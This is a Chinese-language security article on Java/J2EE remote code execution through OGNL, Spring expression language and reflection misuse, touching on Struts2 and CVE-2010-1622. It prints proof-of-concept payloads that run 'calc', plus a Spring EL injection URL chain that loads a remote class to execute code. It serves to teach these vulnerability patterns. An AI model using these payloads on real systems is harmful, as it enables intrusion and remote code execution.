在J2EE遠程代碼執行中,大部分的代碼執行情況的本質是,能夠從外部去直接控制Java對象(其他語言暫不討論,其實也差不多),控制Java對象大致包括幾種情況:直接new對象;調用對象的方法(包括靜態方法);訪問對象的屬性(賦值)等?
那么一些J2EE框架在設計之中,如果某些功能允許以上操作,可能出現的遠程代碼執行情況。
參考:http://drops.wooyun.org/papers/340
get方式,調用對象的靜態方法執行命令:?
...
OgnlContext context = new OgnlContext();
Ognl.getValue("@[email protected]().exec('calc')",context,context.getRoot());
...
set方式,new一個對象調用方法執行命令:?
...
OgnlContext context = new OgnlContext();
Ognl.setValue(new java.lang.ProcessBuilder((new java.lang.String[] {"calc" })).start(), context,context.getRoot());
...
那么我們在使用OGNL實現某些J2EE框架功能或者機制中,如果getValue或setValue函數是允許外部參數直接完整內容傳入的,那肯定是很危險的!!!?
比如:webWork及Struts2框架(其實真是不想說,Struts2簡直就是在拖Java安全水平的后腿。它所有OGNL遠程執行代碼的漏洞的形成,可以用一句話簡單概括:在使用OGNL實現框架某些功能或機制時,允許外部參數直接傳入OGNL表達式或安全限制被饒過等)?
...
org.springframework.expression.Expression exp=parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
...
...
org.springframework.expression.Expression exp=parser.parseExpression("new java.lang.ProcessBuilder((new java.lang.String[]{'calc'})).start()");
...
但spring在安全方面應該不會像struts2一樣這么不負責任(不過,現在稍微好點了!),它有沒有類似的安全漏洞,有興趣的可以去找找 ^-^?
例如,類似的代碼場景:?
...
el: <spring:message text="${param.el}"></spring:message>
...
之前是個信息泄露漏洞(路徑及jar等信息):?
前段時間老外弄出了遠程命令執行,部分exp(網上都有,有興趣自己找試一下。能否執行代碼和web容器有很大關系,最好選老外一樣的Glassfish或者resin某些版本用反射技巧實現執行代碼):
http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.request.getSession().setAttribute("exp","".getClass().forName("java.util.ArrayList").newInstance())}
http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.request.getSession().getAttribute("exp").add(pageContext.getServletContext().getResource("/").toURI().create("http://127.0.0.1:8080/spring/").toURL())}
http://127.0.0.1:8080/spring/login.jsp?el=${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("exp").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("exp").newInstance()}
原理簡單描述:遠程加載一個exp.class,在構造器中執行命令(利用對象初始化執行代碼).(因為其他web服務器對象方法調用被限制,所以執行惡意代碼肯定會有問題)?
這個漏洞重要的是學習它的利用技巧!實際危害其實不大!?
參考:http://zone.wooyun.org/content/6971
其實,這篇文章主要給出的是反射機制使用不當造成的方法越權訪問漏洞類型場景,而不是struts2這個漏洞本身,可能大家都懷戀之前一系列struts2輕松getshell的exp了!?
簡化后的偽代碼:?
...
Class clazz = 對象.getClass();
Method m = clazz.getDeclaredMethod("有實際危害的方法");
m.invoke(對象);
...
原理簡單描述:本質其實很簡單,getDeclaredMethod的函數如果允許外部參數輸入,就可以直接調用方法了,也就是執行代碼,只是危害決定于調用的方法的實際power!?
cve-2010-1622 這是我最喜歡的一個漏洞利用技巧:
這個利用有點繞,其實如果看得懂Java其實也很簡單!(大家常說,喜歡熬夜的coder不是好員工,睡覺了!)?
以前看了很多篇漏洞分析文章,其中這篇不錯(說得算比較清晰),推薦它:?
http://www.iteye.com/topic/1123382
另外,其實我個人覺得,這個漏洞的其他利用的實際危害要超過執行命令方式,比如:拒絕服務等?
如果把你想像力再上升一個層面:在任意場景中只要能夠控制Java對象,理論上它就能執行代碼(至于是否能夠被有效利用是另外一回事)。其實說得再執白點,寫底層代碼的程序員知不知道這些問題可能導致安全漏洞!?